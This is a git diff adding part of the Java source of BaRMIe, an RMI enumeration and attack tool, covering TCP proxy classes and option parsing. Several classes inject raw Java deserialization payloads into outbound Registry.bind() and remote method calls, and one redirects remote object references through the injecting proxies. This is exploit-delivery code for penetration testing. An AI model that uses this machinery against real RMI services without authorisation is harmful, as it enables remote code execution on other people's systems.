******************/ + public RMIObjectProxy(InetAddress targetHost, int targetPort, ProgramOptions options, byte[] payload, byte[] marker) { + //Initialise super class + super(targetHost, targetPort, options); + + //Store the payload and marker bytes + this._payload = payload; + this._marker = marker; + } + + /******************* + * Create a proxy session object that redirects returned remote object + * references through an RMIMethodCallProxy. + * + * @param clientSock A Socket for the incoming client connection. + * @param targetSock A Socket connected to the proxy target. + * @return A ProxySession object to handle the connection and data transfer. + ******************/ + protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { + return new ProxySession( + new PassThroughProxyThread(clientSock, targetSock), + new ObjectRedirectProxyThread(targetSock, clientSock, this._options, this._payload, this._marker) + ); + } +} diff --git a/src/nb/barmie/net/proxy/RMIObjectUIDFixingProxy.java b/src/nb/barmie/net/proxy/RMIObjectUIDFixingProxy.java new file mode 100644 index 0000000..32d2278 --- /dev/null +++ b/src/nb/barmie/net/proxy/RMIObjectUIDFixingProxy.java @@ -0,0 +1,48 @@ +package nb.barmie.net.proxy; + +import java.net.InetAddress; +import java.net.Socket; +import nb.barmie.net.proxy.thread.PassThroughProxyThread; +import nb.barmie.net.proxy.thread.UIDFixingProxyThread; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * TCP proxy server used to modify the serialVersionUID of + * classes returned by an RMI registry so that they match + * those of corresponding local classes. + * + * This is used to enable support for additional versions + * of RMI software without having to re-build BaRMIe to + * use the appropriate serialVersionUID value(s). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIObjectUIDFixingProxy extends ProxyServer { + /******************* + * Construct the proxy. + * + * @param targetHost The host to forward connections to. + * @param targetPort The port to forward connections to. + * @param options The program options. + ******************/ + public RMIObjectUIDFixingProxy(InetAddress targetHost, int targetPort, ProgramOptions options) { + //Initialise super class + super(targetHost, targetPort, options); + } + + /******************* + * Create a proxy session object which allows outbound requests to pass + * through, but modifies the serialVersionUID values found within inbound + * object references. + * + * @param clientSock A Socket for the incoming client connection. + * @param targetSock A Socket connected to the proxy target. + * @return A ProxySession object to handle the connection and data transfer. + ******************/ + protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { + return new ProxySession( + new PassThroughProxyThread(clientSock, targetSock), + new UIDFixingProxyThread(targetSock, clientSock) + ); + } +} diff --git a/src/nb/barmie/net/proxy/RMIReturnDataCapturingProxy.java b/src/nb/barmie/net/proxy/RMIReturnDataCapturingProxy.java new file mode 100644 index 0000000..33b0897 --- /dev/null +++ b/src/nb/barmie/net/proxy/RMIReturnDataCapturingProxy.java @@ -0,0 +1,107 @@ +package nb.barmie.net.proxy; + +import nb.barmie.net.proxy.thread.ReplyDataCapturingProxyThread; +import nb.barmie.net.proxy.thread.PassThroughProxyThread; +import java.net.InetAddress; +import java.net.Socket; +import java.util.ArrayList; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * TCP proxy used to handle connections to RMI registry + * services and capture the contents of ReturnData packets + * which can then be parsed to extract details of objects + * that are exposed through the registry. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIReturnDataCapturingProxy extends ProxyServer { + /******************* + * Properties + ******************/ + private volatile boolean _reconnectOccurred; //Flag indicating whether a reconnect has occurred to the RMI proxy + + /******************* + * Construct the proxy. + * + * @param targetHost The host to forward connections to. + * @param targetPort The port to forward connections to. + * @param options The program options. + ******************/ + public RMIReturnDataCapturingProxy(InetAddress targetHost, int targetPort, ProgramOptions options) { + //Initialise super class + super(targetHost, targetPort, options); + + //Clear the reconnect flag + this._reconnectOccurred = false; + } + + /******************* + * Create a proxy session object to capture RMI Reply Data packets coming + * back from the target. + * + * Additionally - the RMI connection might timeout and reconnect in some + * cases, so if there's an existing proxy session then we shut it down and + * set a flag indicating that a reconnect has occurred so that the user of + * this proxy can retry the previous operation. + * + * @param clientSock A Socket for the incoming client connection. + * @param targetSock A Socket connected to the proxy target. + * @return A ProxySession object to handle the connection and data transfer. + ******************/ + protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { + //If there's an active session then a reconnect occurred + if(this._proxySessions.size() == 1) { + //Shutdown the old session + this._proxySessions.get(0).shutdown(); + this._proxySessions.remove(0); + + //Set the reconnect flag + this._reconnectOccurred = true; + } + + //Create and return a new proxy session that passes outbound data through and captures reply data + return new ProxySession( + new PassThroughProxyThread(clientSock, targetSock), + new ReplyDataCapturingProxyThread(targetSock, clientSock) + ); + } + + /******************* + * Reset the inbound data buffer on the active proxy session. + ******************/ + public void resetDataBuffer() { + if(this._proxySessions.size() == 1) { + ((ReplyDataCapturingProxyThread)this._proxySessions.get(0).getInboundProxyThread()).resetDataBuffer(); + } + } + + /******************* + * Get the inbound data buffer from the active proxy session. + * + * @return An ArrayList of Bytes representing the buffered data, or null if there isn't an active proxy session. + ******************/ + public ArrayList getDataBuffer() { + if(this._proxySessions.size() == 1) { + return ((ReplyDataCapturingProxyThread)this._proxySessions.get(0).getInboundProxyThread()).getDataBuffer(); + } else { + return null; + } + } + + /******************* + * Check if Java reconnected to the RMI registry proxy. + * + * @return True if a reconnect occurred. + ******************/ + public boolean didReconnect() { + return this._reconnectOccurred; + } + + /******************* + * Reset the reconnection flag. + ******************/ + public void resetReconnectFlag() { + this._reconnectOccurred = false; + } +} diff --git a/src/nb/barmie/net/proxy/thread/BindPayloadInjectingProxyThread.java b/src/nb/barmie/net/proxy/thread/BindPayloadInjectingProxyThread.java new file mode 100644 index 0000000..d3a4752 --- /dev/null +++ b/src/nb/barmie/net/proxy/thread/BindPayloadInjectingProxyThread.java @@ -0,0 +1,71 @@ +package nb.barmie.net.proxy.thread; + +import java.io.ByteArrayOutputStream; +import java.net.Socket; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * A proxy thread class that inserts a payload object into + * an outbound Registry.bind() call. + * + * The payload is injected in place of the first (string) + * parameter to Registry.bind(). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class BindPayloadInjectingProxyThread extends ProxyThread { + /******************* + * Properties + ******************/ + private final byte[] _payload; //The payload to pass to the RMI registry + + /******************* + * Construct the proxy thread. + * + * @param srcSocket The source socket. + * @param dstSocket The destination socket. + * @param payload The exploit payload to use. + ******************/ + public BindPayloadInjectingProxyThread(Socket srcSocket, Socket dstSocket, byte[] payload) { + super(srcSocket, dstSocket); + this._payload = payload; + } + + /******************* + * Check for an outgoing method call packet and inject the payload bytes + * into it. + * + * @param data The data received from the source socket. + * @return The data to write to the destination socket. + ******************/ + public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { + ByteArrayOutputStream out; + int blockLen; + byte[] dataBytes; + + //Get the packet bytes + dataBytes = data.toByteArray(); + + //Check if the packet is an RMI call packet + if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) { + //Call packets begin with a TC_BLOCKDATA element, get the length of this element + blockLen = (int)(dataBytes[6] & 0xff); + + //Construct a new packet, starting with the contents of the original packet and TC_BLOCKDATA element + out = new ByteArrayOutputStream(); + out.write(dataBytes, 0, blockLen + 7); + + //Write the payload bytes to the new packet + out.write(this._payload, 0, this._payload.length); + + //Finally write a TC_NULL to the new packet (second parameter to the bind method) + out.write((byte)0x70); + + //Return the new packet to forward on to the server + return out; + } else { + //Return the original data untouched + return data; + } + } +} diff --git a/src/nb/barmie/net/proxy/thread/MethodCallPayloadInjectingProxyThread.java b/src/nb/barmie/net/proxy/thread/MethodCallPayloadInjectingProxyThread.java new file mode 100644 index 0000000..1c8fbd8 --- /dev/null +++ b/src/nb/barmie/net/proxy/thread/MethodCallPayloadInjectingProxyThread.java @@ -0,0 +1,83 @@ +package nb.barmie.net.proxy.thread; + +import java.io.ByteArrayOutputStream; +import java.net.Socket; + +/*********************************************************** + * A proxy thread class that checks outbound remote method + * invocations for marker bytes and replaces them with the + * bytes of a deserialization payload. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class MethodCallPayloadInjectingProxyThread extends ProxyThread { + /******************* + * Properties + ******************/ + private final byte[] _payload; //The raw payload bytes to inject into remote method invocation packets + private final byte[] _marker; //The marker bytes to look for and replace in remote method invocation packets + + /******************* + * Construct the proxy thread. + * + * @param srcSocket The source socket. + * @param dstSocket The destination socket. + * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls. + * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls. + ******************/ + public MethodCallPayloadInjectingProxyThread(Socket srcSocket, Socket dstSocket, byte[] payload, byte[] marker) { + super(srcSocket, dstSocket); + this._payload = payload; + this._marker = marker; + } + + /******************* + * Check the outbound packet for the marker bytes, if found then replace + * them with the payload bytes. + * + * @param data The data received from the source socket. + * @return The data to write to the destination socket. + ******************/ + public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { + ByteArrayOutputStream out; + boolean foundMarker; + byte[] dataBytes; + + //Look for the marker in the packet whilst copying the packet to another output stream + out = new ByteArrayOutputStream(); + dataBytes = data.toByteArray(); + for(int packetOffset = 0; packetOffset < dataBytes.length; ++packetOffset) { + //Check for the marker if there is enough space left in the packet... + if(dataBytes.length - packetOffset >= this._marker.length) { + //Assume that the marker was found, if anything doesn't match this will be set to false + foundMarker = true; + for(int markerOffset = 0; markerOffset < this._marker.length; ++markerOffset) { + if(dataBytes[packetOffset + markerOffset] != this._marker[markerOffset]) { + foundMarker = false; + break; + } + } + + //Check if the marker was found in the outbound packet + if(foundMarker == true) { + //Write the payload bytes out to the output stream + for(int payloadOffset = 0; payloadOffset < this._payload.length; ++payloadOffset) { + out.write((byte)this._payload[payloadOffset]); + } + + //Advance the packet offset beyond the marker bytes so that this loop continues copying the remainder of the outbound method call bytes over + packetOffset += this._marker.length; + } else { + //No marker found, just copy the current byte from input to output + out.write((byte)dataBytes[packetOffset]); + } + } else { + //Not enough space left in the packet, just copy bytes from input to output + out.write((byte)dataBytes[packetOffset]); + } + } + + //Forward the output data + return out; + } +} diff --git a/src/nb/barmie/net/proxy/thread/ObjectRedirectProxyThread.java b/src/nb/barmie/net/proxy/thread/ObjectRedirectProxyThread.java new file mode 100644 index 0000000..023c1f2 --- /dev/null +++ b/src/nb/barmie/net/proxy/thread/ObjectRedirectProxyThread.java @@ -0,0 +1,196 @@ +package nb.barmie.net.proxy.thread; + +import java.io.ByteArrayOutputStream; +import java.net.InetAddress; +import java.net.Socket; +import java.util.ArrayList; +import nb.barmie.net.proxy.RMIMethodCallProxy; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * A proxy thread class that inspects data returned by an + * RMI registry service to identify remote object + * references and redirect them through another proxy that + * injects raw deserialization payloads into remote method + * invocation packets. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ObjectRedirectProxyThread extends ProxyThread { + /******************* + * Properties + ******************/ + private final ProgramOptions _options; //Program options (for socket timeouts) + private final byte[] _payload; //The raw payload bytes to inject into remote method invocation packets + private final byte[] _marker; //The marker bytes to look for and replace in remote method invocation packets + private volatile ArrayList _methodProxies; //A list of RMI method call proxies that have been started to handle remote method calls + + /******************* + * Construct the proxy thread. + * + * @param srcSocket The source socket. + * @param dstSocket The destination socket. + * @param options The program options. + * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls. + * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls. + ******************/ + public ObjectRedirectProxyThread(Socket srcSocket, Socket dstSocket, ProgramOptions options, byte[] payload, byte[] marker) { + super(srcSocket, dstSocket); + this._options = options; + this._payload = payload; + this._marker = marker; + this._methodProxies = new ArrayList(); + } + + /******************* + * Check for remote object references in data returned by an RMI registry + * service and manipulate the references to point at proxies to enable + * remote method calls to be intercepted and manipulated. + * + * Known remote reference patterns: + * TC_BLOCKDATA Block len Str len Type Str len Hostnamee Port + * 0x77 [byte] 0x00 0x0a "UnicastRef" [short] [char*short] [int] + * + * TC_BLOCKDATA Block len Str len Type Byte Str len Hostname Port + * 0x77 [byte] 0x00 0x0b "UnicastRef2" [byte] [short] [char*short] [int] + * + * @param data The data received from the source socket. + * @return The data to write to the destination socket. + ******************/ + public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { + RMIMethodCallProxy proxy; + ByteArrayOutputStream outData = new ByteArrayOutputStream(); + StringBuilder sb; + String refType; + String hostName; + String newHost; + byte[] dataBytes; + int portNumber; + int newPort; + int blockLen; + int hostLen; + int i; + int j; + + //Copy data to the output data, replacing remote object references if found + dataBytes = data.toByteArray(); + for(i = 0; i < dataBytes.length; ++i) { + //Copy the current byte to the output stream + outData.write(dataBytes[i]); + + //Look for remote object references + try { + //Check for TC_BLOCKDATA + if(dataBytes[i] != 0x77) { continue; } + + //Get the block length + blockLen = dataBytes[i + 1]; + + //Offset 2 should be 0x00 + if(dataBytes[i + 2] != 0x00) { continue; } + + //Get the reference type name + sb = new StringBuilder(dataBytes[i + 3]); + for(j = 0; j < dataBytes[i + 3]; ++j) { + sb.append((char)dataBytes[i + j + 4]); + } + refType = sb.toString(); + + //Check the reference type and get the host data + if(refType.equals("UnicastRef")) { + //Get the hostname + hostLen = (dataBytes[i + 14] << 8) + dataBytes[i + 15]; + sb = new StringBuilder(hostLen); + for(j = 0; j < hostLen; ++j) { + sb.append((char)dataBytes[i + j + 16]); + } + hostName = sb.toString(); + + //Get the port number + portNumber = (int)((dataBytes[i + hostLen + 16] << 24) & 0xff000000) + + ((dataBytes[i + hostLen + 17] << 16) & 0xff0000) + + ((dataBytes[i + hostLen + 18] << 8) & 0xff00) + + (dataBytes[i + hostLen + 19] & 0xff); + } else if(refType.equals("UnicastRef2")) { + //Get the hostname + hostLen = (dataBytes[i + 16] << 8) + dataBytes[i + 17]; + sb = new StringBuilder(hostLen); + for(j = 0; j < hostLen; ++j) { + sb.append((char)dataBytes[i + j + 18]); + } + hostName = sb.toString(); + + //Get the port number + portNumber = (int)((dataBytes[i + hostLen + 18] << 24) & 0xff000000) + + ((dataBytes[i + hostLen + 19] << 16) & 0xff0000) + + ((dataBytes[i + hostLen + 20] << 8) & 0xff00) + + (dataBytes[i + hostLen + 21] & 0xff); + } else { + //Unknown remote object reference type + continue; + } + + //Attempt to create an RMI method proxy and redirect the remote object through it + try { + //Create and start an RMI method call proxy + proxy = new RMIMethodCallProxy(InetAddress.getByName(hostName), portNumber, this._options, this._payload, this._marker); + proxy.startProxy(); + + //Add proxy to list of method call proxies + this._methodProxies.add(proxy); + + //Get the new host and port for the remote object + newHost = proxy.getServerListenAddress().getHostAddress(); + newPort = proxy.getServerListenPort(); + + //Work out the new block length + blockLen = blockLen + (newHost.length() - hostName.length()); + + //Write the updated remote object reference data out + outData.write((byte)blockLen); //Updated TC_BLOCKDATA length + outData.write((byte)((refType.length() & 0xff00) >> 8)); //Length of reference type string + outData.write((byte)(refType.length() & 0xff)); //Length of reference type string + outData.write(refType.getBytes()); //The reference type string + if(refType.equals("UnicastRef2")) { + outData.write(dataBytes[i + 15]); //The byte between "UnicastRef2" and the length of the host name + } + outData.write((byte)((newHost.length() & 0xff00) >> 8)); //Length of new host name string + outData.write((byte)(newHost.length() & 0xff)); //Length of new host name string + outData.write(newHost.getBytes()); //New host name string + outData.write((byte)((newPort & 0xff000000) >> 24)); //New port + outData.write((byte)((newPort & 0xff0000) >> 16)); //New port + outData.write((byte)((newPort & 0xff00) >> 8)); //New port + outData.write((byte) (newPort & 0xff)); //New port + + //Update i to skip over the data that has just been replaced + i = i + hostName.length() + 19; + if(refType.equals("UnicastRef2")) { + i = i + 2; + } + } catch(Exception ex) { + //Print exception details + System.out.println("[-] An exception occurred whilst starting an RMI method call proxy.\n\t" + ex.toString()); + } + } catch(IndexOutOfBoundsException ex) { + //Out of bound access, probably not a remote object reference, continue + continue; + } + } + + //Return the new data stream + return outData; + } + + /******************* + * Shutdown the proxy thread. + * + * @param force Set to true to force immediate shutdown. + ******************/ + public void handleShutdown(boolean force) { + //Shutdown all RMI method call proxies + for(RMIMethodCallProxy proxy: this._methodProxies) { + proxy.stopProxy(force); + } + this._methodProxies.clear(); + } +} diff --git a/src/nb/barmie/net/proxy/thread/PassThroughProxyThread.java b/src/nb/barmie/net/proxy/thread/PassThroughProxyThread.java new file mode 100644 index 0000000..1adb560 --- /dev/null +++ b/src/nb/barmie/net/proxy/thread/PassThroughProxyThread.java @@ -0,0 +1,33 @@ +package nb.barmie.net.proxy.thread; + +import java.io.ByteArrayOutputStream; +import java.net.Socket; + +/*********************************************************** + * A proxy thread that writes received data straight out to + * the destination socket untouched. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class PassThroughProxyThread extends ProxyThread { + /******************* + * Construct the proxy thread. + * + * @param srcSocket The source socket. + * @param dstSocket The destination socket. + ******************/ + public PassThroughProxyThread(Socket srcSocket, Socket dstSocket) { + super(srcSocket, dstSocket); + } + + /******************* + * Return data untouched. + * + * @param data The data received from the source socket. + * @return The data to write to the destination socket. + ******************/ + public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { + //Return the original data untouched + return data; + } +} diff --git a/src/nb/barmie/net/proxy/thread/ProxyThread.java b/src/nb/barmie/net/proxy/thread/ProxyThread.java new file mode 100644 index 0000000..8e33977 --- /dev/null +++ b/src/nb/barmie/net/proxy/thread/ProxyThread.java @@ -0,0 +1,163 @@ +package nb.barmie.net.proxy.thread; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; + +/*********************************************************** + * Abstract base class representing a proxy thread that + * reads from one socket and writes to another. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public abstract class ProxyThread extends Thread { + /******************* + * Constants + ******************/ + private static final int PROXY_THREAD_JOIN_TIMEOUT = 5300; //Time in milliseconds to wait on shutdown for the server thread to terminate + + /******************* + * Properties + ******************/ + protected volatile Socket _sourceSocket; //The source socket to read data from + protected volatile Socket _destSocket; //The destination socket to write data to + protected volatile boolean _shutdown; //Flag indicating that the proxy thread should shutdown + + /******************* + * Construct the proxy thread with a given source and destination socket. + * + * @param srcSocket The source socket to read data from. + * @param dstSocket The destination socket to write data to. + ******************/ + public ProxyThread(Socket srcSocket, Socket dstSocket) { + this._sourceSocket = srcSocket; + this._destSocket = dstSocket; + this._shutdown = false; + } + + /******************* + * The proxy thread function which reads from the source socket, passes the + * data off to be handled, then writes the result to the destination socket. + ******************/ + public void run() { + InputStream inStream; + OutputStream outStream; + ByteArrayOutputStream byteStream; + byte[] readBuffer; + int readLength; + + //Create the byte stream and read buffer + byteStream = new ByteArrayOutputStream(8192); + readBuffer = new byte[8192]; + + //Start the main loop transferring data from the source to the destination + try { + //Get the input/output streams from the sockets + inStream = this._sourceSocket.getInputStream(); + outStream = this._destSocket.getOutputStream(); + + //Loop until shutdown + while(this._shutdown == false) { + //Read from the source socket + readLength = inStream.read(readBuffer, 0, 8192); + if(readLength == -1) { + //Connection closed, break out of the loop + break; + } + + //Reset the byte stream and put the received data into it + byteStream.reset(); + byteStream.write(readBuffer, 0, readLength); + + //Pass the data on to be handled and write the result to the output stream + outStream.write(this.handleData(byteStream).toByteArray()); + } + } catch(IOException ex) { + //Exception occurred, print exception details if it wasn't a closed socket or connection reset + if(ex.getMessage().equals("Socket Closed") == false && ex.getMessage().equals("Connection reset") == false && ex.getMessage().equals("Read timed out") == false) { + //Print the exception + System.out.println("[-] An exception occurred during the " + this.getClass().getSimpleName() + " main loop.\n\t" + ex.toString()); + } + + //Sleep briefly in case the thread is already shutting down + try { Thread.sleep(100); } catch(InterruptedException ie) { return; } + + //Shutdown the proxy thread if it isn't already shutting down + if(this._shutdown == false) { + this.shutdown(); + } + } + } + + /******************* + * Shutdown the proxy thread gracefully. + ******************/ + public final void shutdown() { + this.shutdown(false); + } + + /******************* + * Shutdown the proxy thread. + * + * @param force Set to true to force immediate shutdown. + ******************/ + public final void shutdown(boolean force) { + //Shutdown could be called from run() so do nothing if the shutdown flag is already set + if(this._shutdown == false) { + //Set the shutdown flag + this._shutdown = true; + + //If the shutdown is forced, close the sockets and interrupt the thread + if(force == true) { + //Close the sockets + if(this._sourceSocket != null) { + try { this._sourceSocket.close(); } catch(Exception ex) {} + this._sourceSocket = null; + } + if(this._destSocket != null) { + try { this._destSocket.close(); } catch(Exception ex) {} + this._destSocket = null; + } + + //Interrupt the thread + if(this.isAlive()) { this.interrupt(); } + } else { + //Attempt to join the thread + try { this.join(ProxyThread.PROXY_THREAD_JOIN_TIMEOUT); } catch(InterruptedException ie) {} + if(this.isAlive()) { this.interrupt(); } + + //Close the sockets + if(this._sourceSocket != null) { + try { this._sourceSocket.close(); } catch(Exception ex) {} + this._sourceSocket = null; + } + if(this._destSocket != null) { + try { this._destSocket.close(); } catch(Exception ex) {} + this._destSocket = null; + } + } + + //Call handleShutdown() so sub classes can shutdown too + this.handleShutdown(force); + } + } + + /******************* + * Overridable method that will be called to allow sub classes to handle + * shutting down. + * + * @param force Set to true to force immediate shutdown. + ******************/ + public void handleShutdown(boolean force) { + } + + /******************* + * Handle data passing through this proxy thread. + * + * @param data The data received from the source socket. + * @return The data to write to the destination socket. + ******************/ + public abstract ByteArrayOutputStream handleData(ByteArrayOutputStream data); +} diff --git a/src/nb/barmie/net/proxy/thread/ReplyDataCapturingProxyThread.java b/src/nb/barmie/net/proxy/thread/ReplyDataCapturingProxyThread.java new file mode 100644 index 0000000..d3c059a --- /dev/null +++ b/src/nb/barmie/net/proxy/thread/ReplyDataCapturingProxyThread.java @@ -0,0 +1,75 @@ +package nb.barmie.net.proxy.thread; + +import java.io.ByteArrayOutputStream; +import java.net.Socket; +import java.util.ArrayList; + +/*********************************************************** + * A proxy thread class used to capture the contents of + * RMI ReplyData packets in order to enable the extraction + * of remote object details. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ReplyDataCapturingProxyThread extends ProxyThread { + /******************* + * Properties + ******************/ + private volatile ArrayList _dataBuffer; + + /******************* + * Construct the proxy thread. + * + * @param srcSocket The source socket. + * @param dstSocket The destination socket. + ******************/ + public ReplyDataCapturingProxyThread(Socket srcSocket, Socket dstSocket) { + super(srcSocket, dstSocket); + + //Create the data buffer + this._dataBuffer = new ArrayList(); + } + + /******************* + * Buffer data passing through the proxy, ignoring single-byte RMI ping + * acknowledgement packets. + * + * @param data The data received from the source socket. + * @return The data to write to the destination socket. + ******************/ + public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { + byte[] dataBytes; + + //Get the data bytes + dataBytes = data.toByteArray(); + + //Ignore RMI ping ack packets + if((dataBytes.length == 1 && dataBytes[0] == 0x53) == false) { + //Buffer the received data + for(int i = 0; i < dataBytes.length; ++i) { + this._dataBuffer.add(dataBytes[i]); + } + } + + //Return the original data untouched + return data; + } + + /******************* + * Reset the data buffer - called before requesting each remote object to + * ensure the buffer only contains details of the next object to be + * requested from the RMI registry. + ******************/ + public void resetDataBuffer() { + this._dataBuffer.clear(); + } + + /******************* + * Get the data buffer for parsing. + * + * @return The data buffer containing details of objects requested from the RMI registry. + ******************/ + public ArrayList getDataBuffer() { + return this._dataBuffer; + } +} diff --git a/src/nb/barmie/net/proxy/thread/UIDFixingProxyThread.java b/src/nb/barmie/net/proxy/thread/UIDFixingProxyThread.java new file mode 100644 index 0000000..c0a2ce3 --- /dev/null +++ b/src/nb/barmie/net/proxy/thread/UIDFixingProxyThread.java @@ -0,0 +1,112 @@ +package nb.barmie.net.proxy.thread; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.net.Socket; + +/*********************************************************** + * A proxy thread that modifies the serialVersionUID of + * object references returned by an RMI registry so that + * the serialVersionUID matches the local class. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class UIDFixingProxyThread extends ProxyThread { + /******************* + * Construct the proxy thread. + * + * @param srcSocket The source socket. + * @param dstSocket The destination socket. + ******************/ + public UIDFixingProxyThread(Socket srcSocket, Socket dstSocket) { + super(srcSocket, dstSocket); + } + + /******************* + * Look for remote object references and fix serialVersionUID fields to + * match the serialVersionUID of matching local classes. + * + * @param data The data received from the source socket. + * @return The data to write to the destination socket. + ******************/ + public ByteArrayOutputStream handleData(ByteArrayOutputStream data) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + String className; + Class clazz; + long localSerialVersionUID; + int classNameLength; + byte[] dataBytes; + + //Get the packet bytes + dataBytes = data.toByteArray(); + + //Check if this is an RMI ReplyData packet + if(dataBytes[0] == (byte)0x51) { + //Copy bytes to the output stream, checking for serialized TC_CLASSDESC elements as we go + for(int i = 0; i < dataBytes.length; ++i) { + //Check for 0x72 which identifies a TC_CLASSDESC element + if(dataBytes[i] == (byte)0x72) { + //Possible TC_CLASSDESC, attempt to read the class name + if((i + 2) < dataBytes.length) { + //There are enough bytes in the packet after the current offset for the length of the class name, read the length of the class name + classNameLength = ((dataBytes[i + 1] << 8) & 0xff00) + (dataBytes[i + 2] & 0xff); + + //Check if there are enough bytes in the packet for the class name and serialVersionUID... + if((i + 2 + classNameLength + 8) < dataBytes.length) { + //Read the class name + className = new String(dataBytes, i + 3, classNameLength); + + //Don't process JDK classes (this won't catch all, but it will catch the most common ones...) + if(className.startsWith("java") == false) { + //Attempt to fix the serialVersionUID... + try { + //Attempt to load the class + clazz = Class.forName(className); + + //Attempt to read the local serialVersionUID field + localSerialVersionUID = clazz.getDeclaredField("serialVersionUID").getLong(null); + + //Write the class description data to the output stream, replacing the serialVersionUID field + out.write((byte)0x72); + out.write((byte)((classNameLength & 0xff00) >> 8)); + out.write((byte)(classNameLength & 0xff)); + out.write(className.getBytes()); + out.write((byte)((localSerialVersionUID & 0xff00000000000000L) >> 56)); + out.write((byte)((localSerialVersionUID & 0xff000000000000L) >> 48)); + out.write((byte)((localSerialVersionUID & 0xff0000000000L) >> 40)); + out.write((byte)((localSerialVersionUID & 0xff00000000L) >> 32)); + out.write((byte)((localSerialVersionUID & 0xff000000 ) >> 24)); + out.write((byte)((localSerialVersionUID & 0xff0000 ) >> 16)); + out.write((byte)((localSerialVersionUID & 0xff00 ) >> 8)); + out.write((byte)(localSerialVersionUID & 0xff )); + + //Fix the packet offset so that the class description data is not copied to the output packet twice + i += 10 + classNameLength; + } catch(IOException | IllegalAccessException | NoSuchFieldException | ClassNotFoundException ex) { + //Class not found, just copy the current byte over to the output stream + out.write((byte)dataBytes[i]); + } + } else { + out.write((byte)dataBytes[i]); + } + } else { + out.write((byte)dataBytes[i]); + } + } else { + //Not enough data left in the packet, copy a byte across + out.write((byte)dataBytes[i]); + } + } else { + //Not a TC_CLASSDESC, copy a byte to the output stream + out.write((byte)dataBytes[i]); + } + } + } else { + //Not a ReplyData packet, allow it to pass through untouched + return data; + } + + //Return the modified packet + return out; + } +} diff --git a/src/nb/barmie/util/DataDumper.java b/src/nb/barmie/util/DataDumper.java new file mode 100644 index 0000000..e8840fb --- /dev/null +++ b/src/nb/barmie/util/DataDumper.java @@ -0,0 +1,68 @@ +package nb.barmie.util; + +/*********************************************************** + * Helper class used to debug strange responses by dumping + * packet bytes as hex+ASCII. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class DataDumper { + /******************* + * Dump an array of bytes to a string as hex+ASCII. + * + * @param data The data to dump. + * @return A string containing the hex+ASCII representation of the data. + ******************/ + public static String generateHexAsciiDumpString(byte[] data) { + StringBuilder dump = new StringBuilder(data.length * 5); + StringBuilder curRowAscii = new StringBuilder(16); + + //Loop over the supplied data building a hex and ASCII dump + for(int i = 0; i < data.length; ++i) { + //Dump a hex byte + dump.append(String.format("%02x", data[i])); + dump.append(" "); + + //Generate an ASCII byte + if(((int)data[i]) >= 0x20 && ((int)data[i]) <= 0x7e) { + //Printable byte + curRowAscii.append((char)data[i]); + } else { + //Non-printable byte, use . as a placeholder + curRowAscii.append("."); + } + + //Handle padding and row ends + if(curRowAscii.length() == 8) { + //Generate an extra couple of padding spaces at 8 bytes for readability + dump.append(" "); + } else if(curRowAscii.length() == 16) { + //Dump the ASCII, start a nenw row, and reset the ASCII string + dump.append(" "); + dump.append(curRowAscii.toString()); + dump.append("\n"); + curRowAscii.setLength(0); + } + } + + //Handle dumping of the remaining ASCII + if(curRowAscii.length() > 0) { + //Calculate and dump padding for the final ASCII chunk + dump.append(new String(new char[(3 * (16 - curRowAscii.length())) + 4]).replace('\0', ' ')); + + //Additional 2 characters of padding if the current ASCII chunk less than 8 bytes in length + if(curRowAscii.length() < 8) { + dump.append(" "); + } + + //Dump final ASCII chunk + dump.append(curRowAscii.toString()); + } + + //Append a new line to the dump + dump.append("\n"); + + //Return the result of the data dump + return dump.toString(); + } +} diff --git a/src/nb/barmie/util/ProgramOptions.java b/src/nb/barmie/util/ProgramOptions.java new file mode 100644 index 0000000..430f433 --- /dev/null +++ b/src/nb/barmie/util/ProgramOptions.java @@ -0,0 +1,502 @@ +package nb.barmie.util; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedList; +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; +import nb.barmie.exceptions.BaRMIeIllegalArgumentException; +import nb.barmie.exceptions.BaRMIeInvalidPortException; +import nb.barmie.net.TCPEndpoint; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +/*********************************************************** + * Class to parse, load, validate and provide access to + * command line options. + ********************************************************** + * Command line should be one of the following: + * BaRMIe -enum [options] [target-host] [target-port] + * BaRMIe -attack [options] [target-host] [target-port] + * + * Mode flags: + * -enum Enumerate the given target(s) to retrieve details of objects and exploits we can perform. + * -attack Enumerate the given target(s) and present attack options. + * + * Options supported by all modes: + * --targets Used to specify a file containing targets (supports nmap output). + * --timeout Used to set timeout on blocking TCP operations. + * + * Options supported by enumeration mode only: + * --threads Number of 